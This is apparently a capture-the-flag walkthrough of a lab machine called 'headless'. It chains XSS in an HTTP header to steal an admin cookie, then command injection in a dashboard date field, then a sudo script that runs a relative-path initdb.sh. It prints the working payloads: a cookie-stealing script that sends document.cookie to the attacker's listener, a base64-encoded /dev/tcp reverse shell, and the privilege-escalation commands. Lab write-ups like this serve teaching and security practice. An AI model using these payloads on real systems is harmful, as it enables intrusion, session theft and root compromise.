Reconnaissance
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey:
| 256 90:02:94:28:3d:ab:22:74:df:0e:a3:b2:0f:2b:c6:17 (ECDSA)
|_ 256 2e:b9:08:24:02:1b:60:94:60:b3:84:a9:9e:1a:60:ca (ED25519)
5000/tcp open upnp?
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 200 OK
| Server: Werkzeug/2.2.2 Python/3.11.2
| Date: Mon, 15 Jul 2024 14:47:40 GMT
| Content-Type: text/html; charset=utf-8
| Content-Length: 2799
| Set-Cookie: is_admin=InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs; Path=/
| Connection: close
| <!DOCTYPE html>
| <html lang="en">
| <head>
| <meta charset="UTF-8">
| <meta name="viewport" content="width=device-width, initial-scale=1.0">
| <title>Under Construction</title>
| <style>
| body {
| font-family: 'Arial', sans-serif;
| background-color: #f7f7f7;
| margin: 0;
| padding: 0;
| display: flex;
| justify-content: center;
| align-items: center;
| height: 100vh;
| .container {
| text-align: center;
| background-color: #fff;
| border-radius: 10px;
| box-shadow: 0px 0px 20px rgba(0, 0, 0, 0.2);
| RTSPRequest:
| <!DOCTYPE HTML>
| <html lang="en">
| <head>
| <meta charset="utf-8">
| <title>Error response</title>
| </head>
| <body>
| <h1>Error response</h1>
| <p>Error code: 400</p>
| <p>Message: Bad request version ('RTSP/1.0').</p>
| <p>Error code explanation: 400 - Bad request syntax or unsupported method.</p>
| </body>
|_ </html>
The nmap
scan indentified just two ports, 22
and 5000
. Unless SSH is running a really old version its not worth investigating so I’ll turn to the webserver running on port 5000
.
HTTP
The previous scan already showed that the page is powered by Werkzeug
on python 3.11.2
and is setting a cookie is_admin=...
right away. It’s worth noting that the HttpOnly
flag is not set and that makes stealing the cookie through javascript possible1.
Looking at the webpage I see a countdown counting down from 25 days and a button to submit questions.
Clicking the button and being redirected to /support
shows a form asking for personal details as well as a message to the support. Adding some data and clicking Submit, I can observe a POST request and the form clears.
Next I do set up a local HTTP listener and I’ll add some javascript as message <script>document.location='http://10.10.10.10'+document.cookie</script>
and send the requests through BurpSuite because I don’t want to type the data all over again. This time I even get a response - Hacking Attempt Detected
and a the server displays my request explaining that my IP has been flagged and will this will be reported to an administrator.
I can extract two important details from the message, maybe an administrator will look at the message and my parameters may not be visible to them. Within Burp I do repeat the request but this time adding my payload also as a HTTP header.
POST /support HTTP/1.1
Host: 10.129.215.22:5000
X-RYUKI: <script>document.location='http://10.10.10.10/'+document.cookie</script>
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://10.129.215.22:5000/support
Content-Type: application/x-www-form-urlencoded
Content-Length: 150
Origin: http://10.129.215.22:5000
Connection: keep-alive
Cookie: is_admin=InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache
fname=ryuki&lname=ikuyr&email=ryuki%40ikuyr.local&phone=123&message=%3Cscript%3Edocument.location%3D%2710.10.10.10%27%2f%2Bdocument.cookie%3C%2Fscript%3E
Shortly after sending the request I do get a callback from an administrator on my HTTP server exposing their cookie. I replace my own cookie with the stolen one.
10.129.215.22 - - [15/Jul/2024 17:22:28] "GET /favicon.ico HTTP/1.1" 404 -
10.129.215.22 - - [15/Jul/2024 17:22:30] code 404, message File not found
10.129.215.22 - - [15/Jul/2024 17:22:30] "GET /is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0 HTTP/1.1" 404 -
Trying the obvious choices /admin
and /login
I come up empty and resort to directory bruteforcing to discover an admin portal or login form.
ffuf -s \
-w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-directories.txt \
-u 'http://10.129.215.22:5000/FUZZ'
support
dashboard
ffuf identifies an additional path on the webserver I can access /dashboard
and doing so shows the administrator dashboard. There I can pick a date and generate a report.
Without a valid is_admin
cookie I just receive a 403 error.
Keeping the date as it is and clicking on Generate Report I observe the following request in Burp and a message Systems are up and running! as response.
POST /dashboard HTTP/1.1
Host: 10.129.215.22:5000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
Origin: http://10.129.215.22:5000
Connection: keep-alive
Referer: http://10.129.215.22:5000/dashboard
Cookie: is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache
date=2023-09-15
Testing for command injection with 2023-09-15;id
the output changes slightly and includes the output of the id
command. This confirms the command injection vulnerability and I move on to get a reverse shell.
Execution
I grab any linux reverse shell from revshells and base64 encode it so I don’t have to deal with too many special characters in my payload and insert it into echo '<base64>'|base64 -d|bash
before url-encoding the whole command and sending it to the webserver.
date=2023-09-15;echo+'c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTAuMTAvMzEzMzcgMD4mMQ%3d%3d'|base64+-d|bash
Promptly I get a callback on my listener and have access as dvir
to the first flag.
$ id
uid=1000(dvir) gid=1000(dvir) groups=1000(dvir),100(users)
$ ls -la ~/user.txt
-rw-r----- 1 root dvir 33 Jul 15 17:40 /home/dvir/user.txt
Privilege Escalation
Even though not knowing the password for user dvir
I check if I can run any commands with sudo. The output shows that I can run /usr/bin/syscheck
as anyone including root
.
sudo --list --non-interactive
Matching Defaults entries for dvir on headless:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
use_pty
User dvir may run the following commands on headless:
(ALL) NOPASSWD: /usr/bin/syscheck
The file syscheck
is just a bash script and have a look to understand what it does and how I might be able to abuse it to escalate to root.
#!/bin/bash
if [ "$EUID" -ne 0 ]; then
exit 1
fi
last_modified_time=$(/usr/bin/find /boot -name 'vmlinuz*' -exec stat -c %Y {} + | /usr/bin/sort -n | /usr/bin/tail -n 1)
formatted_time=$(/usr/bin/date -d "@$last_modified_time" +"%d/%m/%Y %H:%M")
/usr/bin/echo "Last Kernel Modification Time: $formatted_time"
disk_space=$(/usr/bin/df -h / | /usr/bin/awk 'NR==2 {print $4}')
/usr/bin/echo "Available disk space: $disk_space"
load_average=$(/usr/bin/uptime | /usr/bin/awk -F'load average:' '{print $2}')
/usr/bin/echo "System load average: $load_average"
if ! /usr/bin/pgrep -x "initdb.sh" &>/dev/null; then
/usr/bin/echo "Database service is not running. Starting it..."
./initdb.sh 2>/dev/null
else
/usr/bin/echo "Database service is running."
fi
exit 0
A quick run-down of the script:
- Check if user is
root
by comparing the effective user id with0
and exit if that fails - Look for files starting with
vmlinuz*
in/boot
, sorting the matches, picking the last entry and printing its last modification time. - Check and report the disk space
- Check and report the load average
- Look if any process with
initdb.sh
are currently running and if that’s not the case executing./initdb.sh
What quickly caught my eye is the usage of the full path for all executables that are called by the script. This does not seem to be the case for initdb.sh
since that is executed from the current working directory and that’s something under my control.
So I’ll change to any directory where I have write-access, like /dev/shm
, create a file called initdb.sh
, add the the content bash
and make it executable with chmod +x initdb.sh
.
cd /dev/shm
echo bash > initdb.sh
chmod +x initdb.sh
sudo /usr/bin/syscheck
Last Kernel Modification Time: 01/02/2024 10:05
Available disk space: 2.0G
System load average: 0.00, 0.01, 0.00
Database service is not running. Starting it...
id
uid=0(root) gid=0(root) groups=0(root)
wc -c /root/root.txt
33 /root/root.txt
After executing syscheck
with sudo I’m dropped into another shell running as root
.
Attack Path
flowchart TD subgraph "Initial Access" A(Support message with filtered words) -->|XSS in HTTP Header|B(Administrators Cookie) B --> C(Access to Dashboard) end subgraph "Execution" C -->|Command Injection| D(Shell as dvir) end subgraph "Privilege Escalation" D -->|Path Injection in script| E(Shell as root) end